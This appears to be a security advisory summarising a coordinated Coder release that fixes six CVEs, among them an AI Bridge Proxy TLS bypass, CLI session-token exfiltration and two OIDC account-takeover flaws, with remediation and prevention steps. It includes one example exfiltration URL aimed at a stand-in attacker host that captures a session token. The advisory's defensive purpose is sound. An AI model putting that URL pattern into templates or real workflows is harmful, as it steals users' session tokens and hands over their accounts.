Coder — coordinated security release: AI Bridge Proxy TLS bypass, CLI session-token exfil, and two OIDC account-takeover CVEs

View raw markdownEdit on GitHub ↗

TL;DR

Coder — a self-hosted cloud development-environment platform whose AI Bridge component proxies AI-agent traffic (Claude Code, Cursor, and other coding assistants) to upstream LLM providers on behalf of a team — shipped a coordinated security release on 2026-07-06/07 fixing at least six CVEs in v2.34.2 (with backports to 2.33.8, 2.32.7, 2.29.17). The most serious: a default TLS-verification bypass in the AI Bridge Proxy (CVE-2026-55436), a CLI command that can be tricked into exfiltrating a user's live session token to an attacker-controlled server (CVE-2026-55431), and two distinct OIDC login flaws that chain into full account takeover (CVE-2026-55075, CVE-2026-55076). Upgrade to Coder ≥ 2.34.2 (or the matching backport for your minor version).

What happened

Coder provisions and manages remote development environments (workspaces) for teams, and its AI Bridge feature sits between developers' AI coding agents and upstream LLM providers, holding provider API keys and mediating requests on the team's behalf — the same "central credentials cache" shape this repo has flagged for LiteLLM, Flowise, Langflow, and n8n. A coordinated release disclosed six CVEs together:

  • CVE-2026-55436 (AI Bridge Proxy TLS bypass) — aibridgeproxyd's default transport set InsecureSkipVerify: true and only switched to a verifying transport when an upstream proxy was explicitly configured. In the default configuration (no upstream proxy), outbound HTTPS from the AI Bridge Proxy to the Coder access URL accepted any TLS certificate, opening a man-in-the-middle window for anyone on-path between the proxy and the Coder server. CVSS vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
  • CVE-2026-55434 (AI Bridge provider DoS) — AI Bridge provider-handler endpoints read request bodies via unbounded io.ReadAll, allowing memory-exhaustion denial of service.
  • CVE-2026-55431 (CLI session-token exfiltration) — coder open app performs literal string substitution of $SESSION_TOKEN into a workspace-defined external-app URL before handing it to the OS, with no scheme or destination validation. A malicious Terraform workspace template (something a developer might pull from an untrusted template registry, or that a compromised teammate commits) can define an external app pointing at attacker infrastructure (e.g. https://attacker.example/collect?t=$SESSION_TOKEN); running coder open app against that workspace sends the victim's live session token to the attacker, yielding full account access. Fixed in v2.34.2, with backports to 2.33.8/2.32.7/2.29.17.
  • CVE-2026-55428 — Tailnet coordinator route hijacking.
  • CVE-2026-55075 (OIDC account takeover, email-based matching) — Coder's OIDC login falls back to linking accounts by email address without confirming the identity provider actually verified that email, letting an attacker who controls an unverified-email IdP account take over a victim's Coder account.
  • CVE-2026-55076 (OIDC email_verified type-coercion bypass) — Coder checks the email_verified OIDC claim with a direct Go boolean type assertion; an identity provider that returns a non-boolean value for that claim (e.g. a string) silently skips the check entirely, again enabling unverified-email account takeover. This chains with CVE-2026-55075.

The two OIDC bugs and the CLI token-exfiltration bug were disclosed 2026-07-06, alongside CVE-2026-55436, CVE-2026-55434, and CVE-2026-55428, which the vendor bundled into the same v2.34.2 release.

Am I affected?

# Check your Coder version
coder version

You are affected if you self-host Coder < 2.34.2 (or the matching backport for 2.33.x/2.32.x/2.29.x) and: - Use OIDC login with an identity provider whose email-verification behavior you haven't independently confirmed (CVE-2026-55075, CVE-2026-55076), or - Allow developers to open workspaces built from templates you don't fully control, including third-party/community Terraform templates (CVE-2026-55431), or - Run the AI Bridge Proxy without an upstream proxy configured, on a network where an on-path attacker is plausible (CVE-2026-55436).

If you are affected

  1. Upgrade to Coder ≥ 2.34.2 (or your branch's matching backport) immediately.
  2. If you use OIDC login, audit for accounts created/linked via unverified email before the patch — an attacker may have already claimed an account using CVE-2026-55075 or CVE-2026-55076.
  3. Rotate session tokens for any user who opened an external app from an untrusted or third-party workspace template prior to patching CVE-2026-55431.
  4. Rotate every upstream LLM provider key brokered through AI Bridge if your deployment was reachable by an on-path attacker without an upstream proxy configured (CVE-2026-55436) — treat this the same as any other credential-hub compromise.
  5. See playbooks/rotating-cloud-credentials.md.

Prevention

  • Treat any AI-agent traffic broker (LiteLLM, Flowise, Langflow, n8n, Coder AI Bridge, and similar) as a central credentials cache — a single flaw in the broker is the union of every downstream provider key it holds. Restrict who can reach the broker and rotate its keys on a defined schedule.
  • Don't trust workspace/Terraform templates from outside your org without review — a template is effectively code that runs with the developer's own tooling context, including CLI token substitution as shown here.
  • Always configure an explicit upstream proxy (or otherwise verify TLS is enforced) for any component that proxies HTTPS traffic on your behalf; don't assume "self-hosted" implies "TLS-verified by default."
  • → prevention/credential-hygiene.md, prevention/ci-cd-hardening.md

Sources